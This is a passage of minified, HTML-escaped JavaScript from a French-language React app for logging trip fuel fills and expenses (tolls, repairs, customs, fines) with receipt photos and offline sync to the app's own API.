_e=((1-xe.optimizedSize/xe.originalSize)*100).toFixed(0);xe.originalSize&gt;xe.optimizedSize&amp;&amp;i({title:&quot;Image optimisée&quot;,description:`${ol(xe.originalSize)} → ${ol(xe.optimizedSize)} (-${_e}%)`,duration:3e3});const Ce=new FileReader;Ce.onloadend=()=&gt;{S(Ce.result),$(!1),h(!1)},Ce.onerror=()=&gt;{i({title:&quot;Erreur de lecture&quot;,description:&quot;Impossible de lire le fichier sélectionné.&quot;,variant:&quot;destructive&quot;}),$(!1)},Ce.readAsDataURL(xe.file)}catch(xe){$(!1),i({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:xe instanceof Error?xe.message:&quot;Optimisation impossible, veuillez reprendre la photo&quot;})}}},ee=async()=&gt;{if(!p||!y){i({title:&quot;Champs requis&quot;,description:&quot;Veuillez remplir la quantité et le montant.&quot;,variant:&quot;destructive&quot;});return}if(!w){i({title:&quot;Photo requise&quot;,description:&quot;Veuillez ajouter une photo du compteur.&quot;,variant:&quot;destructive&quot;});return}const V=parseFloat(p),ue=parseInt(y);if(isNaN(V)||V&lt;=0){i({title:&quot;Quantité invalide&quot;,description:&quot;La quantité doit être un nombre positif.&quot;,variant:&quot;destructive&quot;});return}if(isNaN(ue)||ue&lt;=0){i({title:&quot;Montant invalide&quot;,description:&quot;Le montant doit être un nombre positif.&quot;,variant:&quot;destructive&quot;});return}if(o)G.mutate({amount_l:V,cost_fcfa:ue,receipt:w});else{M(!0);try{if(typeof await l({type:&quot;fuel&quot;,voyageId:r,amountL:V,costFcfa:ue,receipt:w,trajetId:null,filledAt:null},()=&gt;gN(r,{amount_l:V,cost_fcfa:ue,receipt:w,voyage_trajet_id:null,filled_at:null}),&quot;La prise de carburant sera synchronisée automatiquement quand la connexion reviendra.&quot;)==&quot;string&quot;){if(!o){const{getPendingEventsBase64:xe}=await On(async()=&gt;{const{getPendingEventsBase64:Ce}=await Promise.resolve().then(()=&gt;h1);return{getPendingEventsBase64:Ce}},void 0),_e=xe();s.setQueryData([`/api/voyages/${r}/fuel-fills`],(Ce=[])=&gt;{const we=_e.filter(Ie=&gt;Ie.type===&quot;fuel&quot;&amp;&amp;Ie.voyageId===r).map(Ie=&gt;({id:Ie.id,voyageId:Ie.voyageId,amountL:Ie.amountL,costFcfa:Ie.costFcfa,filledAt:Ie.filledAt||Ie.createdAt,createdAt:Ie.createdAt,receiptUrl:Ie.receiptBase64||null,isOffline:!0,offlineActionId:Ie.id})),ve=Ce.filter(Ie=&gt;!Ie.isOffline),Ne=[...ve];for(const Ie of we)ve.some(Re=&gt;{const Pe=Math.abs(new Date(Re.filledAt||Re.createdAt).getTime()-new Date(Ie.filledAt||Ie.createdAt).getTime());return Re.amountL===Ie.amountL&amp;&amp;Re.costFcfa===Ie.costFcfa&amp;&amp;Pe&lt;5e3})||Ne.push(Ie);return Ne})}A(&quot;&quot;),v(&quot;&quot;),j(null),S(null),d(&quot;history&quot;),i({title:&quot;Carburant enregistré hors ligne&quot;,description:&quot;La prise de carburant sera synchronisée automatiquement quand la connexion reviendra.&quot;})}}catch{i({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible d&#039;enregistrer la prise de carburant hors ligne.&quot;})}finally{M(!1)}}},ne=()=&gt;{A(&quot;&quot;),v(&quot;&quot;),j(null),S(null),d(&quot;add&quot;),t(!1)};return u?a.jsx(En,{open:e,onOpenChange:t,children:a.jsxs(yn,{className:&quot;sm:max-w-md max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Tg,{className:&quot;h-5 w-5&quot;}),a.jsx(In,{children:&quot;CARBURANT&quot;})]}),a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;t(!1),children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]}),a.jsx(Mn,{children:&quot;Prendre ou sélectionner une photo&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 mt-4&quot;,children:[a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;sm&quot;,onClick:()=&gt;h(!1),className:&quot;mb-2&quot;,children:&quot;← Retour&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[O&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-center gap-2 text-sm text-muted-foreground&quot;,children:[a.jsx(Nt,{className:&quot;h-4 w-4 animate-spin&quot;}),a.jsx(&quot;span&quot;,{children:&quot;Optimisation...&quot;})]}),E?a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;img&quot;,{src:E,alt:&quot;Photo index compteur&quot;,className:&quot;rounded-lg w-full h-auto max-h-64 object-cover&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:()=&gt;{j(null),S(null),P.current&amp;&amp;(P.current.value=&quot;&quot;),L.current&amp;&amp;(L.current.value=&quot;&quot;)},children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]}):a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-center justify-center gap-4 py-8&quot;,children:[a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;L.current?.click(),className:&quot;h-24 w-24 flex-col gap-3 border-0 hover:bg-transparent p-0&quot;,disabled:O,children:[a.jsx(&quot;div&quot;,{className:&quot;h-16 w-16 rounded-full bg-blue-600 shadow-lg flex items-center justify-center&quot;,children:a.jsx(mo,{className:&quot;h-10 w-10 text-white&quot;})}),a.jsx(&quot;span&quot;,{className:&quot;text-sm font-semibold&quot;,children:&quot;Prendre une photo&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex gap-2 w-full max-w-xs&quot;,children:[a.jsx(&quot;input&quot;,{ref:P,type:&quot;file&quot;,accept:&quot;image/*&quot;,onChange:q,className:&quot;hidden&quot;}),a.jsx(&quot;input&quot;,{ref:L,type:&quot;file&quot;,accept:&quot;image/*&quot;,capture:&quot;environment&quot;,onChange:q,className:&quot;hidden&quot;}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;P.current?.click(),className:&quot;flex-1&quot;,disabled:O,children:[a.jsx(ja,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Galerie&quot;]})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between gap-3 mt-6 pt-4 border-t&quot;,children:[a.jsx(ge,{variant:&quot;outline&quot;,onClick:()=&gt;{h(!1),j(null),S(null),P.current&amp;&amp;(P.current.value=&quot;&quot;),L.current&amp;&amp;(L.current.value=&quot;&quot;)},className:&quot;flex items-center gap-2&quot;,children:&quot;Annuler&quot;}),a.jsxs(ge,{onClick:()=&gt;{w&amp;&amp;h(!1)},className:&quot;flex items-center gap-2 bg-blue-600 hover:bg-blue-700 text-white&quot;,disabled:!w,children:[a.jsx(U0,{className:&quot;h-4 w-4&quot;}),&quot;Enregistrer&quot;]})]})]})]})}):a.jsxs(En,{open:e,onOpenChange:t,children:[a.jsxs(yn,{className:&quot;max-w-md max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-2&quot;,children:[a.jsx(cv,{className:&quot;h-5 w-5 text-blue-600&quot;}),a.jsx(In,{className:&quot;text-lg font-semibold&quot;,children:&quot;CARBURANT&quot;})]}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Ajouter une entrée de carburant&quot;})]}),a.jsxs(ul,{value:c,onValueChange:V=&gt;d(V),className:&quot;w-full&quot;,children:[a.jsxs(Ro,{className:&quot;grid w-full grid-cols-2&quot;,children:[a.jsxs(hn,{value:&quot;add&quot;,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Ti,{className:&quot;h-4 w-4&quot;}),&quot;Ajouter&quot;]}),a.jsxs(hn,{value:&quot;history&quot;,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Bl,{className:&quot;h-4 w-4&quot;}),&quot;Historique&quot;]})]}),a.jsxs(dn,{value:&quot;add&quot;,className:&quot;space-y-4 mt-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;quantity&quot;,children:&quot;Quantité (L)&quot;}),a.jsx(Xe,{id:&quot;quantity&quot;,type:&quot;number&quot;,placeholder:&quot;Ex: 150&quot;,value:p,onChange:V=&gt;A(V.target.value)})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;amount&quot;,children:&quot;Montant (FCFA)&quot;}),a.jsx(Xe,{id:&quot;amount&quot;,type:&quot;number&quot;,placeholder:&quot;Ex: 225000&quot;,value:y,onChange:V=&gt;v(V.target.value)})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;counter-photo&quot;,children:[&quot;Photo index compteur &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),E?a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;img&quot;,{src:E,alt:&quot;Photo index compteur&quot;,className:&quot;rounded-lg w-full h-auto max-h-64 object-cover&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:()=&gt;{j(null),S(null),P.current&amp;&amp;(P.current.value=&quot;&quot;),L.current&amp;&amp;(L.current.value=&quot;&quot;)},children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;h(!0),className:&quot;mt-2 w-full&quot;,children:&quot;Changer la photo&quot;})]}):a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;h(!0),className:&quot;w-full&quot;,children:[a.jsx(c1,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Ajouter une photo&quot;]})]})]}),a.jsxs(dn,{value:&quot;history&quot;,className:&quot;mt-4&quot;,children:[a.jsx(&quot;h3&quot;,{className:&quot;text-sm font-semibold mb-4&quot;,children:&quot;Historique&quot;}),W?a.jsx(&quot;div&quot;,{className:&quot;flex items-center justify-center py-8&quot;,children:a.jsx(Nt,{className:&quot;h-6 w-6 animate-spin text-primary&quot;})}):X.length===0?a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground text-center py-8&quot;,children:&quot;Aucune prise de carburant enregistrée&quot;}):a.jsx(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:X.map(V=&gt;a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-3 p-3 border rounded-lg&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex-shrink-0 w-20 h-20 border rounded-lg flex items-center justify-center bg-muted cursor-pointer hover:opacity-80 transition-opacity&quot;,onClick:()=&gt;{const ue=V.receiptUrl||(V.receiptUrl?Sr(V.receiptUrl)||V.receiptUrl:null);ue&amp;&amp;n&amp;&amp;n(ue)},children:V.receiptUrl?a.jsx(OS,{src:V.isOffline&amp;&amp;V.receiptUrl.startsWith(&quot;data:&quot;)?V.receiptUrl:Sr(V.receiptUrl)||V.receiptUrl,alt:&quot;Photo index compteur&quot;,className:&quot;w-full h-full object-cover rounded-lg&quot;}):a.jsx(c1,{className:&quot;h-8 w-8 text-muted-foreground&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-1&quot;,children:[a.jsx(cv,{className:&quot;h-4 w-4 text-blue-600&quot;}),a.jsxs(&quot;span&quot;,{className:&quot;text-sm font-medium&quot;,children:[&quot;CARBURANT&quot;,V.amountL&amp;&amp;` - ${V.amountL.toLocaleString(&quot;fr-FR&quot;)} L`,V.costFcfa&amp;&amp;` - ${V.costFcfa.toLocaleString(&quot;fr-FR&quot;)} FCFA`]}),V.isOffline&amp;&amp;a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:&quot;En attente&quot;})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:new Date(V.filledAt).toLocaleString(&quot;fr-FR&quot;,{day:&quot;2-digit&quot;,month:&quot;2-digit&quot;,year:&quot;numeric&quot;,hour:&quot;2-digit&quot;,minute:&quot;2-digit&quot;})})]}),a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,className:&quot;h-8 w-8 text-destructive hover:text-destructive hover:bg-destructive/10&quot;,onClick:ue=&gt;{ue.stopPropagation(),R(V.id),C(!0)},disabled:J.isPending,children:a.jsx(Ns,{className:&quot;h-4 w-4&quot;})})]},V.id))})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between gap-3 mt-6 pt-4 border-t&quot;,children:[a.jsxs(ge,{variant:&quot;outline&quot;,onClick:ne,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Nn,{className:&quot;h-4 w-4&quot;}),&quot;REVENIR&quot;]}),a.jsxs(ge,{onClick:ee,className:&quot;flex items-center gap-2 bg-blue-600 hover:bg-blue-700 text-white&quot;,disabled:!p||!y||!w||G.isPending||T,children:[G.isPending||T?a.jsx(Nt,{className:&quot;h-4 w-4 animate-spin&quot;}):a.jsx(U0,{className:&quot;h-4 w-4&quot;}),&quot;ENREGISTRER&quot;]})]})]}),a.jsx(du,{open:_,onOpenChange:C,children:a.jsxs(yc,{children:[a.jsxs(bc,{children:[a.jsx(Ec,{children:&quot;Supprimer cette prise de carburant ?&quot;}),a.jsx(Cc,{children:&quot;Cette action est irréversible. La prise de carburant sera définitivement supprimée.&quot;})]}),a.jsxs(wc,{children:[a.jsx(jc,{children:&quot;Annuler&quot;}),a.jsx(Ic,{onClick:()=&gt;{Q!==null&amp;&amp;J.mutate(Q)},className:&quot;bg-destructive text-destructive-foreground hover:bg-destructive/90&quot;,disabled:J.isPending,children:J.isPending?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Suppression...&quot;]}):&quot;Supprimer&quot;})]})]})})]})}async function A$(){return await $t(&quot;/api/voyage-expenses&quot;)}async function x$(e){return await $t(`/api/voyages/${e}/expenses`)}async function AN(e,t){const r=new FormData;return r.append(&quot;category&quot;,t.category),r.append(&quot;amount_fcfa&quot;,t.amount_fcfa.toString()),t.description&amp;&amp;r.append(&quot;description&quot;,t.description),t.receipt&amp;&amp;r.append(&quot;receipt&quot;,t.receipt),t.voyage_trajet_id&amp;&amp;r.append(&quot;voyage_trajet_id&quot;,t.voyage_trajet_id.toString()),t.expense_at&amp;&amp;r.append(&quot;expense_at&quot;,t.expense_at),await $t(`/api/voyages/${e}/expenses`,{method:&quot;POST&quot;,body:r})}async function v$(e,t){await $t(`/api/voyages/${e}/expenses/${t}`,{method:&quot;DELETE&quot;})}const y$=Object.freeze(Object.defineProperty({__proto__:null,createVoyageExpense:AN,deleteVoyageExpense:v$,fetchAllVoyageExpenses:A$,fetchVoyageExpenses:x$},Symbol.toStringTag,{value:&quot;Module&quot;})),S7=[{value:&quot;peage&quot;,label:&quot;Péage&quot;,icon:ey,color:&quot;bg-blue-100 dark:bg-blue-900 border-blue-300 dark:border-blue-700 text-blue-700 dark:text-blue-300&quot;},{value:&quot;reparation&quot;,label:&quot;Réparation&quot;,icon:ty,color:&quot;bg-red-100 dark:bg-red-900 border-red-300 dark:border-red-700 text-red-700 dark:text-red-300&quot;},{value:&quot;douane&quot;,label:&quot;Douane&quot;,icon:U6,color:&quot;bg-purple-100 dark:bg-purple-900 border-purple-300 dark:border-purple-700 text-purple-700 dark:text-purple-300&quot;},{value:&quot;main_oeuvre&quot;,label:&quot;Main d&#039;œuvre&quot;,icon:Sm,color:&quot;bg-orange-100 dark:bg-orange-900 border-orange-300 dark:border-orange-700 text-orange-700 dark:text-orange-300&quot;},{value:&quot;contravention&quot;,label:&quot;Contravention&quot;,icon:mse,color:&quot;bg-yellow-100 dark:bg-yellow-900 border-yellow-300 dark:border-yellow-700 text-yellow-700 dark:text-yellow-300&quot;},{value:&quot;autre&quot;,label:&quot;Autre&quot;,icon:fse,color:&quot;bg-gray-100 dark:bg-gray-900 border-gray-300 dark:border-gray-700 text-gray-700 dark:text-gray-300&quot;}];function Jfe({open:e,onOpenChange:t,voyageId:r,onImageClick:n}){const{toast:i}=Er(),s=eo(),{isOnline:o,executeAction:l}=xy(),[c,d]=I.useState(&quot;add&quot;),[u,h]=I.useState(&quot;&quot;),[p,A]=I.useState(&quot;&quot;),[y,v]=I.useState(&quot;&quot;),[w,j]=I.useState(!1),[E,S]=I.useState(null),[_,C]=I.useState(null),[Q,R]=I.useState(!1),[T,M]=I.useState(null),[O,$]=I.useState(!1),[P,L]=I.useState(!1),X=I.useRef(null),W=I.useRef(null),{data:G=[],isLoading:J}=cr({queryKey:[`/api/voyages/${r}/expenses`],queryFn:async()=&gt;{let de=[];try{navigator.onLine&amp;&amp;(de=await x$(r))}catch{}let xe=[];try{const{getPendingEventsBase64:Ce}=await On(async()=&gt;{const{getPendingEventsBase64:ve}=await Promise.resolve().then(()=&gt;h1);return{getPendingEventsBase64:ve}},void 0);xe=Ce().filter(ve=&gt;ve.type===&quot;expense&quot;&amp;&amp;ve.voyageId===r).map(ve=&gt;({id:ve.id,voyageId:ve.voyageId,category:ve.category,amountFcfa:ve.amountFcfa,description:ve.description||null,expenseAt:ve.expenseAt||ve.createdAt,createdAt:ve.createdAt,receiptUrl:ve.receiptBase64||null,isOffline:!0,offlineActionId:ve.id}))}catch{}const _e=[...de];for(const Ce of xe)de.some(ve=&gt;{const Ne=Math.abs(new Date(ve.expenseAt||ve.createdAt).getTime()-new Date(Ce.expenseAt||Ce.createdAt).getTime());return ve.category===Ce.category&amp;&amp;ve.amountFcfa===Ce.amountFcfa&amp;&amp;Ne&lt;5e3})||_e.push(Ce);return _e},enabled:e,refetchInterval:e&amp;&amp;!o?2e3:!1}),q=_r({mutationFn:async de=&gt;{const xe=await l({type:&quot;expense&quot;,voyageId:r,category:de.category,amountFcfa:de.amount_fcfa,description:de.description||null,receipt:de.receipt||null,trajetId:de.trajetId||null,expenseAt:de.expenseAt||null},()=&gt;AN(r,{category:de.category,amount_fcfa:de.amount_fcfa,description:de.description,receipt:de.receipt,voyage_trajet_id:de.trajetId||null,expense_at:de.expenseAt||void 0}),&quot;La dépense sera synchronisée automatiquement quand la connexion reviendra.&quot;);return typeof xe==&quot;string&quot;?{id:0,voyageId:r,category:de.category,amountFcfa:de.amount_fcfa,description:de.description||null,expenseAt:de.expenseAt||new Date().toISOString(),createdAt:new Date().toISOString()}:xe},onSuccess:()=&gt;{s.invalidateQueries({queryKey:[`/api/voyages/${r}/expenses`]}),o||s.refetchQueries({queryKey:[`/api/voyages/${r}/expenses`]}),i({title:o?&quot;Dépense enregistrée&quot;:&quot;Dépense enregistrée hors ligne&quot;,description:o?&quot;La dépense a été enregistrée avec succès.&quot;:&quot;La dépense sera synchronisée automatiquement quand la connexion reviendra.&quot;}),h(&quot;&quot;),A(&quot;&quot;),v(&quot;&quot;),S(null),C(null),d(&quot;history&quot;)},onError:de=&gt;{i({title:&quot;Erreur&quot;,description:de.message||&quot;Une erreur est survenue lors de l&#039;enregistrement.&quot;,variant:&quot;destructive&quot;})}}),ee=_r({mutationFn:async de=&gt;await v$(r,de),onSuccess:()=&gt;{s.invalidateQueries({queryKey:[`/api/voyages/${r}/expenses`]}),i({title:&quot;Suppression réussie&quot;,description:&quot;La dépense a été supprimée avec succès.&quot;}),R(!1),M(null)},onError:de=&gt;{i({title:&quot;Erreur&quot;,description:de.message||&quot;Une erreur est survenue lors de la suppression.&quot;,variant:&quot;destructive&quot;})}}),ne=async de=&gt;{const xe=de.target.files?.[0];if(xe){if(xe.size&gt;10485760){i({title:&quot;Fichier trop volumineux&quot;,description:&quot;La taille du fichier ne doit pas dépasser 10 MB.&quot;,variant:&quot;destructive&quot;});return}if(!xe.type.startsWith(&quot;image/&quot;)){i({title:&quot;Type de fichier invalide&quot;,description:&quot;Veuillez sélectionner une image.&quot;,variant:&quot;destructive&quot;});return}L(!0);try{const Ce=await Hm(xe,{preset:&quot;pod&quot;});S(Ce.file);const we=((1-Ce.optimizedSize/Ce.originalSize)*100).toFixed(0);Ce.originalSize&gt;Ce.optimizedSize&amp;&amp;i({title:&quot;Image optimisée&quot;,description:`${ol(Ce.originalSize)} → ${ol(Ce.optimizedSize)} (-${we}%)`,duration:3e3});const ve=new FileReader;ve.onloadend=()=&gt;{C(ve.result),L(!1),j(!1)},ve.onerror=()=&gt;{i({title:&quot;Erreur de lecture&quot;,description:&quot;Impossible de lire le fichier sélectionné.&quot;,variant:&quot;destructive&quot;}),L(!1)},ve.readAsDataURL(Ce.file)}catch(Ce){L(!1),i({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:Ce instanceof Error?Ce.message:&quot;Optimisation impossible, veuillez reprendre la photo&quot;})}}},V=async()=&gt;{if(!u){i({title:&quot;Type requis&quot;,description:&quot;Veuillez sélectionner un type de frais.&quot;,variant:&quot;destructive&quot;});return}if(!p){i({title:&quot;Montant requis&quot;,description:&quot;Veuillez renseigner le montant.&quot;,variant:&quot;destructive&quot;});return}if(!E){i({title:&quot;Photo requise&quot;,description:&quot;Veuillez ajouter une photo du justificatif.&quot;,variant:&quot;destructive&quot;});return}const de=p?parseInt(p):0;if(p&amp;&amp;(isNaN(de)||de&lt;0)){i({title:&quot;Montant invalide&quot;,description:&quot;Le montant doit être un nombre positif ou zéro.&quot;,variant:&quot;destructive&quot;});return}if(o)q.mutate({category:u,amount_fcfa:de,description:y||void 0,receipt:E||void 0});else{$(!0);try{if(typeof await l({type:&quot;expense&quot;,voyageId:r,category:u,amountFcfa:de,description:y||null,receipt:E,trajetId:null,expenseAt:null},()=&gt;AN(r,{category:u,amount_fcfa:de,description:y||void 0,receipt:E,voyage_trajet_id:null,expense_at:void 0}),&quot;La dépense sera synchronisée automatiquement quand la connexion reviendra.&quot;)==&quot;string&quot;){const{getPendingEventsBase64:_e}=await On(async()=&gt;{const{getPendingEventsBase64:we}=await Promise.resolve().then(()=&gt;h1);return{getPendingEventsBase64:we}},void 0),Ce=_e();o||s.setQueryData([`/api/voyages/${r}/expenses`],(we=[])=&gt;{const ve=Ce.filter(be=&gt;be.type===&quot;expense&quot;&amp;&amp;be.voyageId===r).map(be=&gt;({id:be.id,voyageId:be.voyageId,category:be.category,amountFcfa:be.amountFcfa,description:be.description||null,expenseAt:be.expenseAt||be.createdAt,createdAt:be.createdAt,receiptUrl:be.receiptBase64||null,isOffline:!0,offlineActionId:be.id})),Ne=we.filter(be=&gt;!be.isOffline),Ie=[...Ne];for(const be of ve)Ne.some(Pe=&gt;{const Ke=Math.abs(new Date(Pe.expenseAt||Pe.createdAt).getTime()-new Date(be.expenseAt||be.createdAt).getTime());return Pe.category===be.category&amp;&amp;Pe.amountFcfa===be.amountFcfa&amp;&amp;Ke&lt;5e3})||Ie.push(be);return Ie}),h(&quot;&quot;),A(&quot;&quot;),v(&quot;&quot;),S(null),C(null),d(&quot;history&quot;),i({title:&quot;Dépense enregistrée hors ligne&quot;,description:&quot;La dépense sera synchronisée automatiquement quand la connexion reviendra.&quot;})}}catch{i({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible d&#039;enregistrer la dépense hors ligne.&quot;})}finally{$(!1)}}},ue=()=&gt;{h(&quot;&quot;),A(&quot;&quot;),v(&quot;&quot;),S(null),C(null),d(&quot;add&quot;),t(!1)};return w?a.jsx(En,{open:e,onOpenChange:t,children:a.jsxs(yn,{className:&quot;sm:max-w-md max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Tg,{className:&quot;h-5 w-5&quot;}),a.jsx(In,{children:&quot;FRAIS&quot;})]}),a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;t(!1),children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]}),a.jsx(Mn,{children:&quot;Prendre ou sélectionner une photo&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 mt-4&quot;,children:[a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;sm&quot;,onClick:()=&gt;j(!1),className:&quot;mb-2&quot;,children:&quot;← Retour&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[P&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-center gap-2 text-sm text-muted-foreground&quot;,children:[a.jsx(Nt,{className:&quot;h-4 w-4 animate-spin&quot;}),a.jsx(&quot;span&quot;,{children:&quot;Optimisation...&quot;})]}),_?a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;img&quot;,{src:_,alt:&quot;Justificatif&quot;,className:&quot;rounded-lg w-full h-auto max-h-64 object-cover&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:()=&gt;{S(null),C(null),X.current&amp;&amp;(X.current.value=&quot;&quot;),W.current&amp;&amp;(W.current.value=&quot;&quot;)},children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]}):a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-center justify-center gap-4 py-8&quot;,children:[a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;W.current?.click(),className:&quot;h-24 w-24 flex-col gap-3 border-0 hover:bg-transparent p-0&quot;,disabled:P,children:[a.jsx(&quot;div&quot;,{className:&quot;h-16 w-16 rounded-full bg-blue-600 shadow-lg flex items-center justify-center&quot;,children:a.jsx(mo,{className:&quot;h-10 w-10 text-white&quot;})}),a.jsx(&quot;span&quot;,{className:&quot;text-sm font-semibold&quot;,children:&quot;Prendre une photo&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex gap-2 w-full max-w-xs&quot;,children:[a.jsx(&quot;input&quot;,{ref:X,type:&quot;file&quot;,accept:&quot;image/*&quot;,onChange:ne,className:&quot;hidden&quot;}),a.jsx(&quot;input&quot;,{ref:W,type:&quot;file&quot;,accept:&quot;image/*&quot;,capture:&quot;environment&quot;,onChange:ne,className:&quot;hidden&quot;}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;X.current?.click(),className:&quot;flex-1&quot;,disabled:P,children:[a.jsx(ja,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Galerie&quot;]})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between gap-3 mt-6 pt-4 border-t&quot;,children:[a.jsx(ge,{variant:&quot;outline&quot;,onClick:()=&gt;{j(!1),S(null),C(null),X.current&amp;&amp;(X.current.value=&quot;&quot;),W.current&amp;&amp;(W.current.value=&quot;&quot;)},className:&quot;flex items-center gap-2&quot;,children:&quot;Annuler&quot;}),a.jsxs(ge,{onClick:()=&gt;{E&amp;&amp;j(!1)},className:&quot;flex items-center gap-2 bg-blue-600 hover:bg-blue-700 text-white&quot;,disabled:!E,children:[a.jsx(U0,{className:&quot;h-4 w-4&quot;}),&quot;Enregistrer&quot;]})]})]})]})}):a.jsxs(En,{open:e,onOpenChange:t,children:[a.jsxs(yn,{className:&quot;max-w-md max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-2&quot;,children:[a.jsx(l1,{className:&quot;h-5 w-5 text-orange-600&quot;}),a.jsx(In,{className:&quot;text-lg font-semibold&quot;,children:&quot;FRAIS&quot;})]}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Ajouter une dépense&quot;})]}),a.jsxs(ul,{value:c,onValueChange:de=&gt;d(de),className:&quot;w-full&quot;,children:[a.jsxs(Ro,{className:&quot;grid w-full grid-cols-2&quot;,children:[a.jsxs(hn,{value:&quot;add&quot;,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Ti,{className:&quot;h-4 w-4&quot;}),&quot;Ajouter&quot;]}),a.jsxs(hn,{value:&quot;history&quot;,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Bl,{className:&quot;h-4 w-4&quot;}),&quot;Historique&quot;]})]}),a.jsxs(dn,{value:&quot;add&quot;,className:&quot;space-y-4 mt-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{children:&quot;Type de frais&quot;}),a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-3 gap-3&quot;,children:S7.map(de=&gt;{const xe=de.icon,_e=u===de.value;return a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;h(de.value),className:`
                        flex flex-col items-center justify-center gap-2 p-4 rounded-lg border-2 transition-all
                        ${_e?`${de.color} border-2 border-primary shadow-md scale-105`:&quot;bg-muted border-muted-foreground/25 hover:border-primary/50 hover:bg-muted/80&quot;}
